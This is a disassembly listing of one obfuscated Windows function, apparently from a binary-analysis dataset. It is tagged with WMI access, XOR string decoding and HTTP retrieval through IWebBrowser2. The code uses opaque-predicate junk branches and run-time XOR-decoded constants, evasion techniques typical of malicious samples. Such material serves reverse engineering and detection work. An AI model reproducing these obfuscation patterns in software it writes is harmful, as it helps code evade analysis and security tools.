Function at 0x401910
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xc0
mov esi, esp
mov dword [esi + 0xa8], ebp
mov dword [esi + 0xac], esp
mov dword [esi + 0xb8], 0xffffffff
lea eax, [esi + 0xb0]
mov dword [esi + 0xb4], 0x406960
mov ecx, dword fs:[0]
mov dword [esi + 0xb0], ecx
mov dword fs:[0], eax
cmp dword [0x42e260], 0xa
jl 0x401977
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x401a25
push eax
sub esp, 0x3fc
mov dword [esi + 0x88], esp
push eax
mov ebx, esp
push eax
mov dword [esi + 8], esp
push eax
mov dword [esi + 0xc], esp
sub esp, 0x20
mov eax, esp
and eax, 0xfffffff0
mov dword [esi], eax
mov esp, eax
push eax
mov dword [esi + 0x34], esp
sub esp, 0x18
mov edi, esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff0
mov dword [esi + 0x30], eax
mov esp, eax
push eax
mov dword [esi + 4], esp
push eax
mov dword [esi + 0x14], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff0
mov dword [esi + 0x4c], eax
mov esp, eax
push eax
mov dword [esi + 0x40], esp
push eax
mov dword [esi + 0x48], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x44], eax
mov esp, eax
push eax
sub esp, 0x80
mov dword [esi + 0x28], esp
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebx], 0
mov dword [esi + 0x2c], ebx
push ebx
push 0x42c748
push 1
push 0
push 0x42c758
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [0x42e260], 0xa
jl 0x401a50
mov ecx, dword [0x42e264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x401a50
push eax
mov edi, esp
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [edi], 0
push edi
push 0x42c748
push 1
push 0
push 0x42c758
call dword [sym.imp.ole32.dll_CoCreateInstance]
jmp 0x401977
mov dword [esi + 0x18], edi
lea ebx, [ebp + 8]
lea ecx, [ebx + 4]
mov dword [esi + 0x38], ecx
lea edi, [ebx + 0x1c]
test eax, eax
js 0x401aa2
mov dword [esi + 0x10], edi
mov eax, dword [esi + 8]
mov dword [eax], 0
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ebx, 0x1f44c11d
mov ecx, 0xa1184077
cmp dword [0x42e268], 0xa
jl 0x401b59
mov edx, dword [0x42e26c]
lea edi, [edx + 1]
imul edi, edx
and edi, 1
je 0x401b59
jmp 0x401aa0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [esi + 8], 0
mov eax, dword [ebx + 0x18]
cmp eax, 0x10
jb 0x401af3
mov dword [esi + 0x10], edi
mov edi, ebx
mov ecx, dword [esi + 0x38]
mov ecx, dword [ecx]
lea ebx, [eax + 1]
cmp ebx, 0x1000
jb 0x401ae4
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x402ab5
add eax, 0x24
mov ebx, eax
mov ecx, edx
push ebx
push ecx
call fcn.0040dc77
add esp, 8
mov ebx, edi
mov edi, dword [esi + 0x10]
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x18], 0xf
mov byte [ebx + 4], 0
mov eax, dword [ebx + 0x30]
cmp eax, 8
jb 0x401b42
mov ecx, dword [edi]
lea ebx, [eax*2 + 2]
cmp ebx, 0x1000
jb 0x401b38
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x402ab5
add eax, eax
add eax, 0x25
mov ebx, eax
mov ecx, edx
push ebx
push ecx
call fcn.0040dc77
add esp, 8
mov eax, dword [esi + 0xb0]
mov dword fs:[0], eax
mov eax, dword [esi + 8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esi + 0x20], eax
mov eax, 0xcfcbe488
mov edi, 0xa0b3f8f8
mov dword [esi + 0x24], eax
mov eax, dword [esi]
mov dword [eax], ebx
mov ebx, 0xd4161b47
mov dword [eax + 4], ecx
mov edx, 0x72605e66
mov dword [eax + 0xc], edi
mov ecx, 0xa535b0ce
mov edi, dword [esi + 0x24]
mov dword [eax + 8], edi
mov edi, 0xd7b8e7ff
mov dword [esi + 0x1c], ecx
mov dword [eax + 0x14], edx
mov dword [eax + 0x10], ebx
mov ecx, 0x1f0bc14f
mov edx, 0xa14c4038
mov dword [esi + 0x3c], edx
mov dword [esi + 0x54], edx
mov dword [esi + 0x24], ecx
mov dword [esi + 0x50], ecx
mov ecx, 0xcf88e4d4
mov edx, 0xa0fef8b1
mov dword [esi + 0x80], edx
mov dword [esi + 0x5c], edx
mov dword [esi + 0x84], ecx
mov dword [esi + 0x58], ecx
mov ecx, 0x72605e66
mov edx, 0xd4241b11
mov dword [esi + 0x64], ecx
mov dword [esi + 0x60], edx
mov dword [eax + 0x1c], edi
mov dword [esi + 0x6c], edi
mov ecx, dword [esi + 0x1c]
mov dword [eax + 0x18], ecx
mov dword [esi + 0x68], ecx
lea ecx, [esi + 0x50]
xor edx, edx
movaps xmm0, xmmword [eax]
movaps xmm1, xmmword [eax + 0x10]
xorps xmm0, xmmword [ecx]
movaps xmmword [eax], xmm0
xorps xmm1, xmmword [ecx + 0x10]
movaps xmmword [eax + 0x10], xmm1
mov dword [esi + 0xb8], 0
push 0xc
call fcn.0040dc42
add esp, 4
mov dword [eax + 4], 0
mov dword [eax + 8], 1
push dword [esi]
mov dword [esi], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edx, dword [esi]
mov dword [edx], eax
test eax, eax
mov ecx, dword [esi + 0xc]
je 0x401cc3
mov dword [ecx], edx
cmp dword [0x42e260], 0xa
mov edi, dword [esi + 8]
mov ebx, dword [esi + 0x20]
jl 0x401c62
mov ecx, dword [0x42e264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x401c62
nop
jmp 0x401c60
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0xc]
mov dword [esi + 0xb8], 8
sub esp, 0x24
mov dword [esp + 0x20], edi
xorps xmm0, xmm0
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
call ecx
mov dword [esi + 0x1c], eax
cmp dword [0x42e260], 0xa
jl 0x401cbc
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
mov ebx, dword [esi + 0xc]
mov edi, dword [esi]
jne 0x401d32
jmp 0x401cd7
mov ebx, dword [esi + 0xc]
mov edi, dword [esi]
jmp 0x401cd7
mov dword [esi + 0xb8], 1
push 0x8007000e
call fcn.0040e130
test edi, edi
je 0x401d13
lock dec dword [edi + 8]
jne 0x401d0d
mov eax, dword [edi]
test eax, eax
je 0x401cf4
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x401d04
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov dword [ebx], 0
cmp dword [0x42e260], 0xa
jl 0x401d71
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x401d71
mov edi, dword [ebx]
test edi, edi
je 0x401d6a
lock dec dword [edi + 8]
jne 0x401d64
mov eax, dword [edi]
test eax, eax
je 0x401d4b
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x401d5b
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov dword [ebx], 0
mov edi, dword [ebx]
jmp 0x401cd7
cmp dword [esi + 0x1c], 0
js 0x401e42
movaps xmm0, xmmword [0x40f4e0]
mov edi, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov ebx, dword [esi + 8]
nop dword [eax + eax]
mov eax, dword [ebx]
sub esp, 0x20
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
call edi
cmp dword [0x42e260], 0xa
jl 0x401e0b
mov ecx, dword [0x42e264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x401e0b
mov ebx, dword [esi + 8]
mov eax, dword [ebx]
sub esp, 0x20
movaps xmm0, xmmword [0x40f4e0]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
call edi
movaps xmm0, xmmword [0x40f4e0]
jmp 0x401d90
test eax, eax
js 0x401f09
mov eax, dword [esi + 0x34]
mov dword [eax], 0
cmp dword [0x42e270], 0xa
jl 0x401f52
mov eax, dword [0x42e274]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x401f52
nop dword [eax]
jmp 0x401e40
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 0
push eax
call ecx
cmp dword [0x42e260], 0xa
jl 0x401e9d
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x401e9d
mov edi, dword [sym.imp.ole32.dll_CoUninitialize]
nop dword [eax + eax]
call edi
call edi
cmp dword [0x42e260], 0xa
jl 0x401e9d
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x401e80
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, dword [0x42e264]
mov eax, dword [0x42e260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
mov dword [esi + 8], 0
cmp eax, 0xa
lea ebx, [ebp + 8]
jl 0x40220a
test ecx, ecx
mov edi, dword [esi + 0x10]
je 0x40220d
mov ebx, dword [sym.imp.ole32.dll_CoUninitialize]
nop dword [eax + eax]
call ebx
call ebx
mov edx, dword [0x42e264]
mov eax, dword [0x42e260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x401f01
test ecx, ecx
jne 0x401ee0
lea ebx, [ebp + 8]
jmp 0x40220d
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 0
push eax
call ecx
cmp dword [0x42e260], 0xa
jl 0x402046
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402046
nop word cs:[eax + eax]
jmp 0x401f50
mov eax, 0x5a47841c
mov ecx, 0x8b6c147b
mov edx, dword [esi + 0x30]
mov dword [edx + 4], ecx
mov ecx, 0x80daa2f4
mov dword [edx], eax
mov eax, 0xa0fed8fc
mov dword [edx + 0xc], eax
mov dword [edx + 8], ecx
xor eax, eax
lea ecx, [esi + 0x50]
mov eax, dword [esi + 0x3c]
mov dword [esi + 0x54], eax
mov eax, dword [esi + 0x24]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x80]
mov dword [esi + 0x5c], eax
mov eax, dword [esi + 0x84]
mov dword [esi + 0x58], eax
movaps xmm0, xmmword [edx]
xorps xmm0, xmmword [ecx]
movaps xmmword [edx], xmm0
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
lea ecx, [ebp + 8]
mov edi, dword [ecx + 0x14]
mov edx, edi
xor edx, 0x7fffffff
cmp edx, eax
jb 0x402222
mov edx, dword [ecx + 4]
mov ecx, dword [ecx + 0x18]
mov dword [esi + 0x8c], ecx
xorps xmm0, xmm0
mov ecx, dword [esi + 0x18]
movups xmmword [ecx], xmm0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x10], 0
mov dword [esi + 0x20], edi
lea ebx, [edi + eax]
mov dword [esi + 0xc], 0xf
mov edi, ecx
cmp ebx, 0x10
mov dword [esi + 0x1c], ebx
jb 0x40210d
test ebx, ebx
mov dword [esi + 0x7c], eax
mov dword [esi], edx
js 0x4020d7
mov ecx, ebx
or ecx, 0xf
cmp ecx, 0x17
mov edi, 0x16
cmovae edi, ecx
mov dword [esi + 0xb8], 0
cmp edi, 0xfff
jae 0x4020dc
mov dword [esi + 0xc], edi
lea eax, [edi + 1]
push eax
call fcn.0040dc42
add esp, 4
mov edi, eax
jmp 0x402100
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [0x42e260], 0xa
jl 0x402072
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402072
nop word [eax + eax]
jmp 0x402070
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, dword [0x42e264]
mov eax, dword [0x42e260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
mov dword [esi + 8], 0
cmp eax, 0xa
jl 0x402207
test ecx, ecx
mov edi, dword [esi + 0x10]
je 0x401f01
mov ebx, dword [sym.imp.ole32.dll_CoUninitialize]
call ebx
call ebx
mov edx, dword [0x42e264]
mov eax, dword [0x42e260]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x401f01
test ecx, ecx
jne 0x4020ad
jmp 0x401f01
mov edi, SysReAllocString
mov dword [esi + 0xc], edi
lea eax, [edi + 0x24]
mov dword [esi + 0xb8], 0
push eax
call fcn.0040dc42
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
mov eax, dword [esi + 0x7c]
mov edx, dword [esi]
mov ecx, dword [esi + 0x18]
mov dword [ecx], edi
mov ebx, dword [esi + 0x1c]
cmp dword [esi + 0x8c], 0x10
cmovb edx, dword [esi + 0x38]
mov dword [esi], edx
mov dword [ecx + 0x10], ebx
mov edx, dword [esi + 0xc]
mov dword [ecx + 0x14], edx
push eax
push dword [esi + 0x30]
push edi
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, edi
push dword [esi + 0x20]
push dword [esi]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esi + 0x1c]
mov byte [edi + eax], 0
cmp dword [0x42e260], 0xa
jl 0x402172
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402172
nop word cs:[eax + eax]
jmp 0x402170
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x18]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, dword [eax + 0x14]
mov dword [esi + 0xc], eax
mov dword [esi + 0xb8], 2
push 0xc
call fcn.0040dc42
add esp, 4
cmp dword [esi + 0xc], 0x10
mov ecx, dword [esi + 0x18]
cmovae ecx, dword [esi]
mov dword [eax + 4], 0
mov dword [esi], eax
mov dword [eax + 8], 1
mov dword [esi + 0xb8], 3
push ecx
call fcn.0040dfa0
mov dword [esi + 0x20], eax
mov ecx, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi + 4]
mov dword [eax], ecx
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x42e260], 0xa
setl al
or al, cl
mov byte [esi], al
mov ebx, dword [esi + 0x4c]
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
jne 0x402281
jmp 0x402231
lea ebx, [ebp + 8]
mov edi, dword [esi + 0x10]
cmp eax, 0xa
jl 0x401aaf
test ecx, ecx
je 0x401aaf
nop
jmp 0x402220
mov dword [esi + 0xb8], 0
call fcn.00406220
mov edx, 0x1f479018
mov edi, 0xa14c4038
mov dword [esi + 0x30], edi
mov dword [esi + 0xc], edx
xor ebx, ebx
lea edi, [esi + 0x50]
mov ebx, dword [esi + 0x4c]
nop dword [eax]
mov edx, dword [esi + 0x30]
mov dword [ebx + 4], edx
mov edx, dword [esi + 0xc]
mov dword [ebx], edx
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], eax
mov edx, dword [esi + 0x3c]
mov dword [esi + 0x54], edx
mov edx, dword [esi + 0x24]
mov dword [esi + 0x50], edx
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x58], eax
movaps xmm0, xmmword [ebx]
xorps xmm0, xmmword [edi]
movaps xmmword [ebx], xmm0
cmp byte [esi], 0
je 0x402250
mov edi, 0x1f479018
mov edx, 0xa14c4038
mov dword [ebx + 4], edx
mov dword [ebx], edi
xor edi, edi
lea edx, [esi + 0x50]
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
mov edi, dword [esi + 0x3c]
mov dword [esi + 0x54], edi
mov edi, dword [esi + 0x24]
mov dword [esi + 0x50], edi
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x58], eax
movaps xmm0, xmmword [ebx]
xorps xmm0, xmmword [edx]
movaps xmmword [ebx], xmm0
cmp byte [esi], 0
je 0x402231
mov dword [esi + 0xb8], 5
push 0xc
call fcn.0040dc42
add esp, 4
mov dword [eax + 4], 0
mov dword [esi], eax
mov dword [eax + 8], 1
mov dword [esi + 0xb8], 6
push dword [esi + 0x4c]
call fcn.0040dfa0
mov edx, dword [esi]
mov dword [edx], eax
mov ecx, dword [esi + 0x14]
mov dword [ecx], edx
cmp dword [0x42e260], 0xa
jl 0x402322
mov ecx, dword [0x42e264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x402322
nop dword [eax + eax]
jmp 0x402320
mov edx, dword [esi + 0x1c]
mov ecx, dword [edx]
mov ecx, dword [ecx + 0x50]
mov dword [esi + 0xb8], 7
push dword [esi + 0x34]
push 0
push 0x30
push dword [esi + 0x20]
push eax
push edx
call ecx
mov dword [esi], eax
cmp dword [0x42e260], 0xa
jl 0x402488
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402488
mov ebx, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
test edi, edi
je 0x4023ab
lock dec dword [edi + 8]
jne 0x4023a2
mov eax, dword [edi]
test eax, eax
je 0x402389
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402399
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 4]
mov edi, dword [eax]
test edi, edi
je 0x4023eb
lock dec dword [edi + 8]
jne 0x4023e2
mov eax, dword [edi]
test eax, eax
je 0x4023c9
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x4023d9
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
test edi, edi
je 0x40242b
lock dec dword [edi + 8]
jne 0x402422
mov eax, dword [edi]
test eax, eax
je 0x402409
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402419
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 4]
mov edi, dword [eax]
test edi, edi
je 0x40246b
lock dec dword [edi + 8]
jne 0x402462
mov eax, dword [edi]
test eax, eax
je 0x402449
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402459
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0
cmp dword [0x42e260], 0xa
jl 0x402488
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x40236b
mov ebx, dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x4024a2
push edi
call fcn.0040dc72
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
test edi, edi
je 0x4024e2
lock dec dword [edi + 8]
jne 0x4024d9
mov eax, dword [edi]
test eax, eax
je 0x4024c0
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x4024d0
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 4]
mov edi, dword [eax]
test edi, edi
je 0x402522
lock dec dword [edi + 8]
jne 0x402519
mov eax, dword [edi]
test eax, eax
je 0x402500
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402510
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0
mov ecx, dword [0x42e264]
mov eax, dword [0x42e260]
cmp eax, 0xa
jl 0x4025c0
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x4025c0
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
test edi, edi
je 0x402581
lock dec dword [edi + 8]
jne 0x402578
mov eax, dword [edi]
test eax, eax
je 0x40255f
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x40256f
push eax
call fcn.0040dca8
add esp, 4
push edi
call fcn.0040dc72
add esp, 4
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 4]
mov edi, dword [eax]
test edi, edi
je 0x4024a2
lock dec dword [edi + 8]
jne 0x402499
mov eax, dword [edi]
test eax, eax
je 0x4025a7
push eax
call ebx
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x402490
push eax
call fcn.0040dca8
add esp, 4
jmp 0x402490
cmp dword [esi], 0
js 0x402892
mov edx, dword [esi + 0x40]
mov dword [edx], 0
mov edx, dword [esi + 0x28]
add edx, 4
mov dword [esi + 4], edx
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x4025f1
test edx, edx
jne 0x402860
mov ecx, dword [esi + 0x34]
mov ecx, dword [ecx]
test ecx, ecx
je 0x4028d2
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
mov dword [esi + 0xb8], 2
push dword [esi + 0x40]
push dword [esi + 0x48]
push 1
push 0xffffffffffffffff
push ecx
call eax
mov ecx, dword [0x42e264]
mov eax, dword [0x42e260]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x40263b
test edx, edx
jne 0x402870
mov ecx, dword [esi + 0x40]
cmp dword [ecx], 0
je 0x4028d2
mov ebx, dword [esi + 0x44]
push ebx
mov edi, dword [sym.imp.OLEAUT32.dll_VariantClear]
nop word cs:[eax + eax]
call edi
cmp dword [0x42e260], 0xa
jl 0x402681
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402681
push ebx
call edi
push ebx
jmp 0x402660
mov eax, dword [esi + 0x48]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
lea edi, [ebp + 8]
cmp dword [edi + 0x30], 8
mov edx, dword [esi + 0x10]
jb 0x40269a
mov edx, dword [edi + 0x1c]
mov dword [esi + 0xb8], 2
push 0
push 0
push ebx
push 0
push edx
push eax
call ecx
cmp dword [0x42e260], 0xa
jl 0x4026cd
mov ecx, dword [0x42e264]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x402880
test eax, eax
mov edi, dword [esi + 0x44]
mov ecx, dword [esi + 0x28]
js 0x40280d
mov eax, dword [edi + 8]
mov edx, dword [esi + 4]
mov dword [ecx], edx
push 3
push eax
call fcn.00406690
cmp dword [0x42e260], 0xa
mov edi, dword [esi + 0x88]
mov ebx, dword [esi + 0x28]
jl 0x40270d
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x402737
push dword [ebx]
push 0xc8
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
cmp dword [0x42e260], 0xa
jl 0x40274a
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x40274a
push dword [ebx]
push 0xc8
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
jmp 0x40270d
lea eax, [ebp + 8]
mov ebx, dword [eax]
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ecx, edi
mov edi, eax
mov eax, dword [ebx + 0x14]
cmp eax, edi
jae 0x402788
mov dword [esi + 0xb8], 4
sub esp, 0xc
movzx eax, byte [esi + 0x50]
mov byte [esp + 4], al
mov dword [esp + 8], ecx
mov dword [esp], edi
mov ecx, ebx
call fcn.004063a0
jmp 0x4027aa
mov ecx, ebx
cmp eax, 0x10
jb 0x402791
mov ecx, dword [ebx]
mov dword [ebx + 0x10], edi
push edi
push dword [esi + 0x88]
push ecx
mov ebx, ecx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [ebx + edi], 0
cmp dword [0x42e260], 0xa
mov edi, dword [esi + 0x44]
mov ebx, dword [esi + 0x28]
jl 0x4027d0
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x402890
nop dword [eax]
mov eax, dword [ebx]
cmp eax, dword [esi + 4]
je 0x4027e1
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
cmp dword [0x42e260], 0xa
jl 0x40280d
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x40280d
mov eax, dword [ebx]
cmp eax, dword [esi + 4]
je 0x4027d0
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
jmp 0x4027d0
push edi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esi + 0x48]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 2
push eax
call ecx
mov ecx, dword [0x42e264]
mov eax, dword [0x42e260]
cmp eax, 0xa
jl 0x4025db
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x4025db
nop
jmp 0x402850
jmp 0x402860
jmp 0x402870
jmp 0x402880
jmp 0x402890
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 2
push eax
call ecx
cmp dword [0x42e260], 0xa
jl 0x4028e2
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x4028e2
nop word cs:[eax + eax]
jmp 0x4028d0
cmp eax, 0xa
jl 0x402912
test edx, edx
je 0x402912
nop dword [eax + eax]
jmp 0x4028e0
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [0x42e260], 0xa
jl 0x402952
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402952
nop word cs:[eax + eax]
jmp 0x402910
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esi + 0xb8], 2
push eax
call ecx
cmp dword [0x42e260], 0xa
jl 0x4029a8
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x4029a8
nop word cs:[eax + eax]
jmp 0x402950
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [0x42e264]
mov ecx, dword [0x42e260]
mov dword [esi + 8], 0
cmp ecx, 0xa
jl 0x4029f5
lea edx, [eax + 1]
imul edx, eax
and edx, 1
mov edi, dword [esi + 0x10]
je 0x4029f8
mov ebx, dword [sym.imp.ole32.dll_CoUninitialize]
call ebx
call ebx
mov eax, dword [0x42e264]
mov ecx, dword [0x42e260]
cmp ecx, 0xa
jl 0x4029f8
lea edx, [eax + 1]
imul edx, eax
and edx, 1
jne 0x402987
jmp 0x4029f8
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [0x42e260], 0xa
jl 0x4029d2
mov eax, dword [0x42e264]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x4029d2
nop dword [eax]
jmp 0x4029d0
mov eax, dword [esi + 0x34]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [0x42e264]
mov dword [esi + 8], 1
mov ecx, dword [0x42e260]
mov edi, dword [esi + 0x10]
cmp ecx, 0xa
lea ebx, [ebp + 8]
jl 0x402a1f
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x402a1f
nop dword [eax + eax]
jmp 0x402a10
push ebx
push ecx
call fcn.0040dc77
add esp, 8
lea ebx, [ebp + 8]
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 0x14]
cmp eax, 0x10
jb 0x402a5b
mov ecx, dword [esi + 0x18]
mov ecx, dword [ecx]
lea ebx, [eax + 1]
cmp ebx, 0x1000
jb 0x402a4e
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x402ab5
add eax, 0x24
mov ebx, eax
mov ecx, edx
push ebx
push ecx
